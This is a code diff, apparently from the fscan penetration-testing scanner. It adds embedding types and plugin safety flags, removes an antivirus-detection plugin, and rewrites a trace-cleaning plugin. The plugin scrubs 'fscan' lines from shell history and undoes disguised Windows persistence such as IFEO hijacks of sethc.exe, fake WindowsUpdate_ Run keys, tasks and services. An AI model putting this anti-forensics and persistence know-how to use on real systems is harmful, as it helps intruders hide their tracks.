+func TestFormatPluginsAllowUnsafe(t *testing.T) { + result := formatPlugins(Config{AllowUnsafePlugins: true}) + if result != "all" { + t.Fatalf("formatPlugins(unsafe) = %q, want all", result) + } +} + +func TestFormatPluginsExplicit(t *testing.T) { + result := formatPlugins(Config{Plugins: []string{"ssh", "ftp"}}) + if result != "ssh,ftp" { + t.Fatalf("formatPlugins = %q, want ssh,ftp", result) + } +} + +func TestNormalizePluginsTrimsWhitespace(t *testing.T) { + result := normalizePlugins([]string{" ssh ", "", " ftp "}) + if len(result) != 2 || result[0] != "ssh" || result[1] != "ftp" { + t.Fatalf("normalizePlugins = %#v", result) + } +} + +func TestSecondsOrDefault(t *testing.T) { + if got := secondsOrDefault(0, 3); got != 3 { + t.Fatalf("secondsOrDefault(0, 3) = %d, want 3", got) + } + if got := secondsOrDefault(-1*time.Second, 5); got != 5 { + t.Fatalf("secondsOrDefault(-1s, 5) = %d, want 5", got) + } + if got := secondsOrDefault(10*time.Second, 3); got != 10 { + t.Fatalf("secondsOrDefault(10s, 3) = %d, want 10", got) + } + if got := secondsOrDefault(500*time.Millisecond, 3); got != 1 { + t.Fatalf("secondsOrDefault(500ms, 3) = %d, want 1", got) + } +} + +func TestSNMPPluginRegistration(t *testing.T) { + info, ok := GetPlugin("snmp") + if !ok { + t.Fatal("snmp plugin not registered") + } + if !info.Safe { + t.Fatal("snmp should be safe") + } + if !info.Default { + t.Fatal("snmp should be in default safe plugins") + } + if !containsString(info.Types, PluginTypeUDP) { + t.Fatalf("snmp types = %#v, want udp", info.Types) + } + if containsString(info.Types, PluginTypeService) { + t.Fatal("snmp should not be service type") + } + if !containsInt(info.Ports, 161) { + t.Fatalf("snmp ports = %#v, want 161", info.Ports) + } + if !containsString(info.Capabilities, PluginCapabilityDetect) { + t.Fatalf("snmp capabilities = %#v, want detect", info.Capabilities) + } +} + +func TestScanStatsAdd(t *testing.T) { + var s ScanStats + s.add(ScanStats{ + Duration: 2 * time.Second, + TasksTotal: 10, + TasksCompleted: 8, + Packets: 100, + TCPPackets: 80, + UDPPackets: 20, + HTTPPackets: 5, + }) + s.add(ScanStats{ + Duration: 3 * time.Second, + TasksTotal: 5, + TasksCompleted: 5, + Packets: 50, + TCPPackets: 40, + UDPPackets: 10, + }) + if s.Duration != 5*time.Second { + t.Fatalf("Duration = %s, want 5s", s.Duration) + } + if s.TasksTotal != 15 || s.TasksCompleted != 13 { + t.Fatalf("Tasks = %d/%d, want 15/13", s.TasksTotal, s.TasksCompleted) + } + if s.Packets != 150 || s.TCPPackets != 120 || s.UDPPackets != 30 { + t.Fatalf("Packets = %d/%d/%d", s.Packets, s.TCPPackets, s.UDPPackets) + } + if s.HTTPPackets != 5 { + t.Fatalf("HTTPPackets = %d, want 5", s.HTTPPackets) + } +} diff --git a/pkg/fscan/types.go b/pkg/fscan/types.go new file mode 100644 index 0000000..615e7ff --- /dev/null +++ b/pkg/fscan/types.go @@ -0,0 +1,202 @@ +package fscan + +import ( + "time" +) + +const ( + // PluginTypeWeb marks web-facing plugins. + PluginTypeWeb = "web" + // PluginTypeLocal marks plugins that operate on the local host. + PluginTypeLocal = "local" + // PluginTypeService marks network service plugins. + PluginTypeService = "service" + // PluginTypeUDP marks UDP protocol plugins that bypass TCP port scanning. + PluginTypeUDP = "udp" +) + +const ( + // PluginCapabilityDetect marks passive or low-impact detection behavior. + PluginCapabilityDetect = "detect" + // PluginCapabilityAuthCheck marks credential validation behavior. + PluginCapabilityAuthCheck = "auth-check" + // PluginCapabilityBrute marks dictionary-style credential attempts. + PluginCapabilityBrute = "brute" + // PluginCapabilityPOC marks active vulnerability checks or exploitation. + PluginCapabilityPOC = "poc" + // PluginCapabilityLocalEffect marks plugins that change or inspect local host state. + PluginCapabilityLocalEffect = "local-effect" +) + +const ( + // ResultTypeHost reports a live host. + ResultTypeHost = "HOST" + // ResultTypePort reports an open port. + ResultTypePort = "PORT" + // ResultTypeService reports a service fingerprint or service plugin result. + ResultTypeService = "SERVICE" + // ResultTypeVuln reports a vulnerability or credential finding. + ResultTypeVuln = "VULN" +) + +// Target describes one scan target. Use Host for host/IP/CIDR/range service +// scans, or URL for web scans. Ports applies only to Host scans. +type Target struct { + Host string + URL string + Ports []int +} + +// CredentialPair pins one username/password pair. +type CredentialPair struct { + Username string + Password string +} + +// PluginInfo describes one registered scanner plugin. +type PluginInfo struct { + Name string `json:"name"` + Types []string `json:"types,omitempty"` + Capabilities []string `json:"capabilities,omitempty"` + Ports []int `json:"ports,omitempty"` + Safe bool `json:"safe"` + Default bool `json:"default"` +} + +// ResultSummary counts common result categories. +type ResultSummary struct { + Total int `json:"total"` + Hosts int `json:"hosts"` + Ports int `json:"ports"` + Services int `json:"services"` + Vulns int `json:"vulns"` + Web int `json:"web"` + Credentials int `json:"credentials"` +} + +// ScanStats reports runtime counters for one embedded scan call. +type ScanStats struct { + Duration time.Duration `json:"duration"` + TasksTotal int64 `json:"tasks_total"` + TasksCompleted int64 `json:"tasks_completed"` + Packets int64 `json:"packets"` + TCPPackets int64 `json:"tcp_packets"` + TCPSuccessPackets int64 `json:"tcp_success_packets"` + TCPFailedPackets int64 `json:"tcp_failed_packets"` + UDPPackets int64 `json:"udp_packets"` + HTTPPackets int64 `json:"http_packets"` + ResourceExhausted int64 `json:"resource_exhausted"` +} + +// ScanProgress reports live scan progress for Agent integrations. +type ScanProgress struct { + TasksTotal int64 `json:"tasks_total"` + TasksCompleted int64 `json:"tasks_completed"` + Duration time.Duration `json:"duration"` + Packets int64 `json:"packets"` + TCPPackets int64 `json:"tcp_packets"` + HTTPPackets int64 `json:"http_packets"` + Paused bool `json:"paused"` +} + +// ScanReport returns structured results with summary and runtime counters. +type ScanReport struct { + Results []Result `json:"results"` + Summary ResultSummary `json:"summary"` + Stats ScanStats `json:"stats"` +} + +// ResultHandler receives one structured result. Calls are serialized by the +// scanner. Returning an error asks the scanner to stop and returns that error +// to the caller. +type ResultHandler func(Result) error + +// Config controls an embedded scan. Zero values use the same conservative +// defaults as the CLI, except output is silent and file saving is disabled. +type Config struct { + Targets []Target + + Plugins []string + Ports []int + // AllowUnsafePlugins permits plugins with local side effects or long-lived + // behavior. It is false by default for embedded endpoint use. + AllowUnsafePlugins bool + // OnResult is called for every structured result as it is discovered. + OnResult func(Result) + // OnProgress is called periodically with live scan progress. + OnProgress func(ScanProgress) + // TaskID is injected into every Result.Details["task_id"] when non-empty. + TaskID string + + Timeout time.Duration + Threads int + ModuleThreads int + MaxRetries int + + DisablePing bool + DisableTCPProbe bool + DisableBrute bool + + Usernames []string + Passwords []string + UserPassPairs []CredentialPair + Domain string + SSHKeyPath string + HTTPProxy string + Socks5Proxy string + Interface string + WebTimeout time.Duration + MaxRedirects int + DisablePOCScan bool + POCPath string + POCName string + POCFull bool + POCConcurrency int + PacketRateLimit int64 + MaxPacketCount int64 + ICMPRate float64 + Language string +} + +// Result is the structured scan result returned to embedded callers. +type Result struct { + Time time.Time `json:"time"` + Type string `json:"type"` + Target string `json:"target"` + Status string `json:"status"` + Details map[string]interface{} `json:"details,omitempty"` +} + +// PortResult is a typed view over an open port result. +type PortResult struct { + Target string `json:"target"` + Port int `json:"port"` +} + +// ServiceResult is a typed view over a service or web detection result. +type ServiceResult struct { + Target string `json:"target"` + Port int `json:"port,omitempty"` + Service string `json:"service,omitempty"` + Banner string `json:"banner,omitempty"` + Product string `json:"product,omitempty"` + Version string `json:"version,omitempty"` + Protocol string `json:"protocol,omitempty"` + URL string `json:"url,omitempty"` + IsWeb bool `json:"is_web,omitempty"` +} + +// CredentialResult is a typed view over a weak credential result. +type CredentialResult struct { + Target string `json:"target"` + Service string `json:"service,omitempty"` + Username string `json:"username"` + Password string `json:"password"` +} + +// VulnerabilityResult is a typed view over a vulnerability result. +type VulnerabilityResult struct { + Target string `json:"target"` + Service string `json:"service,omitempty"` + Vulnerability string `json:"vulnerability"` +} diff --git a/plugins/init.go b/plugins/init.go index 23188ea..2686d68 100644 --- a/plugins/init.go +++ b/plugins/init.go @@ -43,7 +43,7 @@ const ( type Result struct { Type ResultType Success bool - Skipped bool // 扫描被跳过,不应输出结果 + Skipped bool // 扫描被跳过,不应输出结果 Service string Username string Password string @@ -84,6 +84,7 @@ type PluginInfo struct { factory func() Plugin ports []int types []string // 插件类型标签 + safe bool // 是否适合默认嵌入式扫描 } // 插件类型常量 @@ -91,6 +92,7 @@ const ( PluginTypeWeb = "web" // Web类型插件 PluginTypeLocal = "local" // 本地类型插件 PluginTypeService = "service" // 服务类型插件 + PluginTypeUDP = "udp" // UDP协议插件,跳过TCP端口扫描 ) var ( @@ -98,19 +100,58 @@ var ( mutex sync.RWMutex ) +func init() { + common.IsLocalMode = func(mode string) bool { + if mode == "" || mode == "all" { + return false + } + for _, name := range strings.Split(mode, ",") { + name = strings.TrimSpace(name) + if name == "" { + continue + } + if !HasType(name, PluginTypeLocal) { + return false + } + } + return true + } +} + // RegisterWithPorts 注册带端口信息的插件 func RegisterWithPorts(name string, factory func() Plugin, ports []int) { RegisterWithTypes(name, factory, ports, []string{PluginTypeService}) } +// RegisterUDPWithPorts 注册UDP协议插件,跳过TCP端口扫描链路 +func RegisterUDPWithPorts(name string, factory func() Plugin, ports []int) { + RegisterWithTypes(name, factory, ports, []string{PluginTypeUDP}) +} + +// IsUDP 检查插件是否为UDP协议插件 +func IsUDP(pluginName string) bool { + return HasType(pluginName, PluginTypeUDP) +} + // RegisterWithTypes 注册带类型标签的插件 func RegisterWithTypes(name string, factory func() Plugin, ports []int, types []string) { + RegisterWithOptions(name, factory, ports, types, !hasPluginType(types, PluginTypeLocal)) +} + +// RegisterUnsafeWithTypes 注册不适合默认嵌入式扫描的插件。 +func RegisterUnsafeWithTypes(name string, factory func() Plugin, ports []int, types []string) { + RegisterWithOptions(name, factory, ports, types, false) +} + +// RegisterWithOptions 注册带完整元数据的插件。 +func RegisterWithOptions(name string, factory func() Plugin, ports []int, types []string, safe bool) { mutex.Lock() defer mutex.Unlock() plugins[name] = &PluginInfo{ factory: factory, ports: ports, types: types, + safe: safe, } } @@ -129,6 +170,17 @@ func HasType(pluginName string, typeName string) bool { return false } +// IsSafe 检查插件是否适合默认嵌入式扫描。 +func IsSafe(pluginName string) bool { + mutex.RLock() + defer mutex.RUnlock() + + if info, exists := plugins[pluginName]; exists { + return info.safe + } + return false +} + // Get 获取插件实例 func Get(name string) Plugin { mutex.RLock() @@ -172,6 +224,15 @@ func GetPluginPorts(name string) []int { return []int{} // 返回空列表表示适用于所有端口 } +func hasPluginType(types []string, typeName string) bool { + for _, t := range types { + if t == typeName { + return true + } + } + return false +} + // GenerateCredentials 生成测试凭据 func GenerateCredentials(service string, config *common.Config) []Credential { var credentials []Credential diff --git a/plugins/local/auto.json b/plugins/local/auto.json index bcab7f8..4eb1ffc 100644 --- a/plugins/local/auto.json +++ b/plugins/local/auto.json @@ -406,7 +406,7 @@ ], "url": "https://www.mcafee.com/en-us" }, - "Microsoft Security Essentials": { + "Microsoft Defender(Windows Defender)": { "processes": [ "MsMpEng.exe", "msseces.exe", @@ -421,7 +421,7 @@ "MSASCuiL.exe", "SecurityHealthService.exe" ], - "url": "https://support.microsoft.com/en-us/help/17150/windows-7-what-is-microsoft-security-essentials" + "url": "https://www.microsoft.com/en-us/windows/comprehensive-security" }, "NANO-Antivirus": { "processes": [ diff --git a/plugins/local/avdetect.go b/plugins/local/avdetect.go deleted file mode 100644 index b1436db..0000000 --- a/plugins/local/avdetect.go +++ /dev/null @@ -1,205 +0,0 @@ -//go:build (plugin_avdetect || !plugin_selective) && !no_local - -package local - -import ( - "context" - _ "embed" - "encoding/json" - "fmt" - "os/exec" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -//go:embed auto.json -var avDatabase []byte - -// AVProduct AV产品信息结构 -type AVProduct struct { - Processes []string `json:"processes"` - URL string `json:"url"` -} - -// AVDetectPlugin 杀软检测插件 -// 设计哲学:"做一件事并做好" - 专注AV检测 -// - 使用JSON数据库加载AV信息 -// - 删除复杂的结果结构体 -// - 跨平台支持,运行时适配 -type AVDetectPlugin struct { - plugins.BasePlugin - avProducts map[string]AVProduct -} - -// NewAVDetectPlugin 创建AV检测插件 -func NewAVDetectPlugin() *AVDetectPlugin { - plugin := &AVDetectPlugin{ - BasePlugin: plugins.NewBasePlugin("avdetect"), - avProducts: make(map[string]AVProduct), - } - - // 加载AV数据库 - if err := json.Unmarshal(avDatabase, &plugin.avProducts); err != nil { - common.LogError(i18n.Tr("avdetect_load_failed", err)) - } else { - common.LogInfo(i18n.Tr("avdetect_loaded", len(plugin.avProducts))) - } - - return plugin -} - -// Scan 执行AV/EDR检测 - 直接、有效 -func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var output strings.Builder - var detectedAVs []string - - output.WriteString("=== AV/EDR检测 ===\n") - - // 获取运行进程 - processes := p.getRunningProcesses() - if len(processes) == 0 { - return &plugins.Result{ - Success: false, - Output: "无法获取进程列表", - Error: fmt.Errorf("进程列表获取失败"), - } - } - - _, _ = fmt.Fprintf(&output, "扫描进程数: %d\n\n", len(processes)) - - // 检测AV产品 - 使用JSON数据库 - for avName, avProduct := range p.avProducts { - var foundProcesses []string - - for _, avProcess := range avProduct.Processes { - for _, runningProcess := range processes { - // 提取进程名部分进行匹配(去除PID信息) - processName := runningProcess - if strings.Contains(runningProcess, " (PID: ") { - processName = strings.Split(runningProcess, " (PID: ")[0] - } - - // 简单字符串匹配,忽略大小写 - if strings.Contains(strings.ToLower(processName), strings.ToLower(avProcess)) { - foundProcesses = append(foundProcesses, runningProcess) - } - } - } - - if len(foundProcesses) > 0 { - detectedAVs = append(detectedAVs, avName) - _, _ = fmt.Fprintf(&output, "✓ 检测到 %s:\n", avName) - - common.LogSuccess(i18n.Tr("avdetect_found", avName, len(foundProcesses))) - - // 输出详细进程信息到控制台 - for _, proc := range foundProcesses { - _, _ = fmt.Fprintf(&output, " - %s\n", proc) - common.LogInfo(i18n.Tr("avdetect_process", proc)) - } - output.WriteString("\n") - } - } - - // 统计结果 - output.WriteString("=== 检测结果 ===\n") - _, _ = fmt.Fprintf(&output, "检测到的AV产品: %d个\n", len(detectedAVs)) - - if len(detectedAVs) > 0 { - output.WriteString("检测到的产品: " + strings.Join(detectedAVs, ", ") + "\n") - } else { - output.WriteString("未检测到已知的AV/EDR产品\n") - } - - return &plugins.Result{ - Success: len(detectedAVs) > 0, - Output: output.String(), - Error: nil, - } -} - -// getRunningProcesses 获取运行进程列表 - 跨平台适配 -func (p *AVDetectPlugin) getRunningProcesses() []string { - var processes []string - - switch runtime.GOOS { - case "windows": - processes = p.getWindowsProcesses() - case "linux", "darwin": - processes = p.getUnixProcesses() - default: - // 不支持的平台,返回空列表 - return processes - } - - return processes -} - -// getWindowsProcesses 获取Windows进程 - 包含PID和进程名 -func (p *AVDetectPlugin) getWindowsProcesses() []string { - var processes []string - - // 使用tasklist命令 - cmd := exec.Command("tasklist", "/fo", "csv", "/nh") - output, err := cmd.Output() - if err != nil { - return processes - } - - lines := strings.Split(string(output), "\n") - for _, line := range lines { - line = strings.TrimSpace(line) - if line == "" { - continue - } - - // 解析CSV格式:进程名,PID,会话名,会话号,内存 - if strings.HasPrefix(line, "\"") { - parts := strings.Split(line, "\",\"") - if len(parts) >= 2 { - processName := strings.Trim(parts[0], "\"") - pid := strings.Trim(parts[1], "\"") - if processName != "" && pid != "" { - // 格式:进程名 (PID: xxxx) - processInfo := fmt.Sprintf("%s (PID: %s)", processName, pid) - processes = append(processes, processInfo) - } - } - } - } - - return processes -} - -// getUnixProcesses 获取Unix进程 - 简化实现 -func (p *AVDetectPlugin) getUnixProcesses() []string { - var processes []string - - // 使用ps命令 - cmd := exec.Command("ps", "-eo", "comm") - output, err := cmd.Output() - if err != nil { - return processes - } - - lines := strings.Split(string(output), "\n") - for _, line := range lines { - line = strings.TrimSpace(line) - if line != "" && line != "COMMAND" { - processes = append(processes, line) - } - } - - return processes -} - -// 注册插件 -func init() { - RegisterLocalPlugin("avdetect", func() Plugin { - return NewAVDetectPlugin() - }) -} diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go index 5c2ddb6..5fd9f88 100644 --- a/plugins/local/cleaner.go +++ b/plugins/local/cleaner.go @@ -15,260 +15,109 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// CleanerPlugin 痕迹清理插件 -// 设计哲学:保持原有功能,删除过度设计 -// - 删除复杂的继承体系和配置选项 -// - 直接实现清理功能 - type CleanerPlugin struct { plugins.BasePlugin } -// NewCleanerPlugin 创建系统痕迹清理插件 func NewCleanerPlugin() *CleanerPlugin { - return &CleanerPlugin{ - BasePlugin: plugins.NewBasePlugin("cleaner"), - } + return &CleanerPlugin{BasePlugin: plugins.NewBasePlugin("cleaner")} } -// Scan 执行系统痕迹清理 - 直接、简单 func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { var output strings.Builder - var filesCleared, dirsCleared, sysCleared int + var cleaned int - output.WriteString("=== 系统痕迹清理 ===\n") - - // 清理当前目录fscan相关文件 + // 清理 fscan 产物文件 workDir, _ := os.Getwd() - files := p.findFscanFiles(workDir) - for _, file := range files { - if p.removeFile(file) { - filesCleared++ - _, _ = fmt.Fprintf(&output, "清理文件: %s\n", file) - } - } + cleaned += p.cleanFiles(&output, workDir, []string{ + "result.txt", "result.json", "result.csv", + "fscan_debug.log", + }) + cleaned += p.cleanGlob(&output, os.TempDir(), "fscan_*") - // 清理临时目录fscan相关文件 - tempFiles := p.findTempFiles() - for _, file := range tempFiles { - if p.removeFile(file) { - filesCleared++ - _, _ = fmt.Fprintf(&output, "清理临时文件: %s\n", file) - } - } + // 清理持久化痕迹(平台特定) + cleaned += cleanPersistence(&output) - // 清理日志和输出文件 - logFiles := p.findLogFiles(workDir) - for _, file := range logFiles { - if p.removeFile(file) { - filesCleared++ - output.WriteString(fmt.Sprintf("清理日志: %s\n", file)) - } - } - - // 平台特定清理 + // 平台通用文件清理 switch runtime.GOOS { - case "windows": - sysCleared += p.clearWindowsTraces() case "linux", "darwin": - sysCleared += p.clearUnixTraces() + cleaned += p.cleanUnix(&output) } - // 输出统计 - output.WriteString(fmt.Sprintf("\n清理完成: 文件(%d) 目录(%d) 系统条目(%d)\n", - filesCleared, dirsCleared, sysCleared)) - - common.LogSuccess(i18n.Tr("cleaner_success", filesCleared, sysCleared)) + session.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0)) return &plugins.Result{ - Success: filesCleared > 0 || sysCleared > 0, + Success: cleaned > 0, + Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// findFscanFiles 查找fscan相关文件 - 简化搜索逻辑 -func (p *CleanerPlugin) findFscanFiles(dir string) []string { - var files []string - - // fscan相关文件模式 - 直接硬编码 - patterns := []string{ - "fscan*.exe", "fscan*.log", "result*.txt", "result*.json", - "fscan_*", "*fscan*", "scan_result*", "vulnerability*", - } - - for _, pattern := range patterns { - matches, _ := filepath.Glob(filepath.Join(dir, pattern)) - files = append(files, matches...) - } - - return files -} - -// findTempFiles 查找临时文件 -func (p *CleanerPlugin) findTempFiles() []string { - var files []string - tempDir := os.TempDir() - - // 临时文件模式 - patterns := []string{ - "fscan_*", "scan_*", "tmp_scan*", "vulnerability_*", - } - - for _, pattern := range patterns { - matches, _ := filepath.Glob(filepath.Join(tempDir, pattern)) - files = append(files, matches...) - } - - return files -} - -// findLogFiles 查找日志文件 -func (p *CleanerPlugin) findLogFiles(dir string) []string { - var files []string - - // 日志文件模式 - logPatterns := []string{ - "*.log", "scan*.txt", "error*.txt", "debug*.txt", - "output*.txt", "report*.txt", "*.out", - } - - for _, pattern := range logPatterns { - matches, _ := filepath.Glob(filepath.Join(dir, pattern)) - for _, match := range matches { - // 只清理可能是扫描相关的日志 - filename := strings.ToLower(filepath.Base(match)) - if p.isScanRelatedLog(filename) { - files = append(files, match) - } +func (p *CleanerPlugin) cleanFiles(output *strings.Builder, dir string, names []string) int { + cleaned := 0 + for _, name := range names { + path := filepath.Join(dir, name) + if err := os.Remove(path); err == nil { + fmt.Fprintln(output, i18n.Tr("cleaner_removed", path)) + cleaned++ } } - - return files + return cleaned } -// isScanRelatedLog 判断是否为扫描相关日志 -func (p *CleanerPlugin) isScanRelatedLog(filename string) bool { - scanKeywords := []string{ - "scan", "fscan", "vulnerability", "result", "report", - "exploit", "brute", "port", "service", "web", - } - - for _, keyword := range scanKeywords { - if strings.Contains(filename, keyword) { - return true +func (p *CleanerPlugin) cleanGlob(output *strings.Builder, dir, pattern string) int { + matches, _ := filepath.Glob(filepath.Join(dir, pattern)) + cleaned := 0 + for _, f := range matches { + if err := os.Remove(f); err == nil { + fmt.Fprintln(output, i18n.Tr("cleaner_removed", f)) + cleaned++ } } - return false + return cleaned } -// clearWindowsTraces 清理Windows系统痕迹 -func (p *CleanerPlugin) clearWindowsTraces() int { - cleared := 0 - - // 清理预读文件 - prefetchDir := "C:\\Windows\\Prefetch" - if prefetchFiles := p.findPrefetchFiles(prefetchDir); len(prefetchFiles) > 0 { - for _, file := range prefetchFiles { - if p.removeFile(file) { - cleared++ - } - } - } - - // 清理最近文档记录(注册表方式复杂,这里简化处理) - // 可以通过删除Recent文件夹的快捷方式 - if recentDir := os.Getenv("USERPROFILE") + "\\Recent"; p.dirExists(recentDir) { - recentFiles, _ := filepath.Glob(filepath.Join(recentDir, "fscan*.lnk")) - for _, file := range recentFiles { - if p.removeFile(file) { - cleared++ - } - } - } - - return cleared -} - -// clearUnixTraces 清理Unix系统痕迹 -func (p *CleanerPlugin) clearUnixTraces() int { - cleared := 0 - - // 清理bash历史记录相关 +func (p *CleanerPlugin) cleanUnix(output *strings.Builder) int { + cleaned := 0 homeDir, _ := os.UserHomeDir() - historyFiles := []string{ + + histFiles := []string{ filepath.Join(homeDir, ".bash_history"), filepath.Join(homeDir, ".zsh_history"), } - - for _, histFile := range historyFiles { - if p.clearHistoryEntries(histFile) { - cleared++ + for _, hf := range histFiles { + if p.scrubHistory(hf) { + fmt.Fprintln(output, i18n.Tr("cleaner_history_removed", hf)) + cleaned++ } } - // 清理/var/log中的相关日志(需要权限) - logDirs := []string{"/var/log", "/tmp"} - for _, logDir := range logDirs { - if p.dirExists(logDir) { - logFiles, _ := filepath.Glob(filepath.Join(logDir, "*fscan*")) - for _, file := range logFiles { - if p.removeFile(file) { - cleared++ - } - } + cleaned += p.cleanGlob(output, "/tmp", "fscan_*") + cleaned += p.cleanGlob(output, "/tmp", ".fscan*") + return cleaned +} + +func (p *CleanerPlugin) scrubHistory(path string) bool { + data, err := os.ReadFile(path) + if err != nil { + return false + } + lines := strings.Split(string(data), "\n") + var kept []string + removed := false + for _, line := range lines { + if strings.Contains(strings.ToLower(line), "fscan") { + removed = true + continue } + kept = append(kept, line) } - - return cleared -} - -// findPrefetchFiles 查找预读文件 -func (p *CleanerPlugin) findPrefetchFiles(dir string) []string { - var files []string - if !p.dirExists(dir) { - return files + if !removed { + return false } - - matches, _ := filepath.Glob(filepath.Join(dir, "FSCAN*.pf")) - files = append(files, matches...) - - return files + return os.WriteFile(path, []byte(strings.Join(kept, "\n")), 0600) == nil } -// clearHistoryEntries 清理历史记录条目(简化实现) -func (p *CleanerPlugin) clearHistoryEntries(histFile string) bool { - // 这里简化实现:不修改历史文件内容 - // 实际应该是读取文件,删除包含fscan的行,然后写回 - // 为简化,这里只记录找到相关历史文件 - if p.fileExists(histFile) { - common.LogInfo(i18n.Tr("cleaner_history_found", histFile)) - return true - } - return false -} - -// removeFile 删除文件 -func (p *CleanerPlugin) removeFile(path string) bool { - if err := os.Remove(path); err == nil { - return true - } - return false -} - -// fileExists 检查文件是否存在 -func (p *CleanerPlugin) fileExists(path string) bool { - _, err := os.Stat(path) - return err == nil -} - -// dirExists 检查目录是否存在 -func (p *CleanerPlugin) dirExists(path string) bool { - info, err := os.Stat(path) - return err == nil && info.IsDir() -} - -// 注册插件 func init() { RegisterLocalPlugin("cleaner", func() Plugin { return NewCleanerPlugin() diff --git a/plugins/local/cleaner_other.go b/plugins/local/cleaner_other.go new file mode 100644 index 0000000..d7d3986 --- /dev/null +++ b/plugins/local/cleaner_other.go @@ -0,0 +1,9 @@ +//go:build (plugin_cleaner || !plugin_selective) && !windows && !no_local + +package local + +import "strings" + +func cleanPersistence(output *strings.Builder) int { + return 0 +} diff --git a/plugins/local/cleaner_windows.go b/plugins/local/cleaner_windows.go new file mode 100644 index 0000000..9317059 --- /dev/null +++ b/plugins/local/cleaner_windows.go @@ -0,0 +1,244 @@ +//go:build (plugin_cleaner || !plugin_selective) && windows && !no_local + +package local + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common/i18n" +) + +func cleanPersistence(output *strings.Builder) int { + cleaned := 0 + + // 1. 清理 Winlogon 劫持——恢复默认值 + cleaned += fixWinlogon(output) + + // 2. 清理 IFEO 映像劫持 + cleaned += cleanIFEO(output) + + // 3. 清理注册表 Run 键 + cleaned += cleanRegistryRun(output) + + // 4. 清理计划任务 + cleaned += cleanScheduledTasks(output) + + // 5. 清理服务 + cleaned += cleanServices(output) + + // 6. 清理启动文件夹 + cleaned += cleanStartupFolders(output) + + // 7. 清理 BITS 任务 + cleaned += cleanBITS(output) + + // 8. 清理 WMI 事件订阅 + cleaned += cleanWMI(output) + + // 9. 清理 Prefetch + cleaned += cleanPrefetch(output) + + return cleaned +} + +func fixWinlogon(output *strings.Builder) int { + cleaned := 0 + key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` + + // 检查 Shell 是否被篡改 + if out, err := exec.Command("reg", "query", key, "/v", "Shell").CombinedOutput(); err == nil { + val := extractRegValue(string(out)) + if val != "explorer.exe" && val != "" { + exec.Command("reg", "add", key, "/v", "Shell", "/t", "REG_SZ", "/d", "explorer.exe", "/f").Run() + output.WriteString(i18n.Tr("cleaner_restore_winlogon_shell", val, "explorer.exe") + "\n") + cleaned++ + } + } + + // 检查 Userinit 是否被篡改 + if out, err := exec.Command("reg", "query", key, "/v", "Userinit").CombinedOutput(); err == nil { + val := extractRegValue(string(out)) + defaultVal := `C:\Windows\system32\userinit.exe,` + if val != defaultVal && val != strings.TrimSuffix(defaultVal, ",") && val != "" { + exec.Command("reg", "add", key, "/v", "Userinit", "/t", "REG_SZ", "/d", defaultVal, "/f").Run() + output.WriteString(i18n.Tr("cleaner_restore_winlogon_userinit", val, defaultVal) + "\n") + cleaned++ + } + } + return cleaned +} + +func cleanIFEO(output *strings.Builder) int { + cleaned := 0 + targets := []string{"sethc.exe", "utilman.exe", "narrator.exe"} + for _, t := range targets { + key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t) + if out, err := exec.Command("reg", "query", key, "/v", "Debugger").CombinedOutput(); err == nil && strings.Contains(string(out), "Debugger") { + exec.Command("reg", "delete", key, "/f").Run() + output.WriteString(i18n.Tr("cleaner_ifeo_removed", t) + "\n") + cleaned++ + } + } + return cleaned +} + +func cleanRegistryRun(output *strings.Builder) int { + cleaned := 0 + keys := []string{ + `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, + `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, + `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, + } + markers := []string{"fscan", "test_payload", "WindowsUpdate_", "SystemUpdate_", "SetupComplete_"} + + for _, key := range keys { + out, err := exec.Command("reg", "query", key).CombinedOutput() + if err != nil { + continue + } + for _, line := range strings.Split(string(out), "\n") { + for _, m := range markers { + if strings.Contains(line, m) { + fields := strings.Fields(strings.TrimSpace(line)) + if len(fields) > 0 { + exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run() + output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n") + cleaned++ + } + break + } + } + } + } + return cleaned +} + +func cleanScheduledTasks(output *strings.Builder) int { + cleaned := 0 + markers := []string{"WindowsUpdateCheck_", "SystemSecurityScan_", "MaintenanceTask_", "BackgroundService_"} + out, err := exec.Command("schtasks", "/query", "/fo", "csv", "/nh").CombinedOutput() + if err != nil { + return 0 + } + for _, line := range strings.Split(string(out), "\n") { + for _, m := range markers { + if strings.Contains(line, m) { + parts := strings.Split(line, ",") + if len(parts) > 0 { + name := strings.Trim(parts[0], "\"\\") + exec.Command("schtasks", "/delete", "/tn", name, "/f").Run() + output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n") + cleaned++ + } + break + } + } + } + return cleaned +} + +func cleanServices(output *strings.Builder) int { + cleaned := 0 + markers := []string{"WinDefendUpdate_", "SysHealthMon_"} + for _, m := range markers { + out, err := exec.Command("sc", "query", "state=", "all").CombinedOutput() + if err != nil { + break + } + for _, line := range strings.Split(string(out), "\n") { + if strings.Contains(line, "SERVICE_NAME") && strings.Contains(line, m) { + name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:")) + exec.Command("sc", "stop", name).Run() + exec.Command("sc", "delete", name).Run() + output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n") + cleaned++ + } + } + } + return cleaned +} + +func cleanStartupFolders(output *strings.Builder) int { + cleaned := 0 + dirs := []string{ + filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), + filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), + } + for _, dir := range dirs { + matches, _ := filepath.Glob(filepath.Join(dir, "test_payload*")) + for _, f := range matches { + if 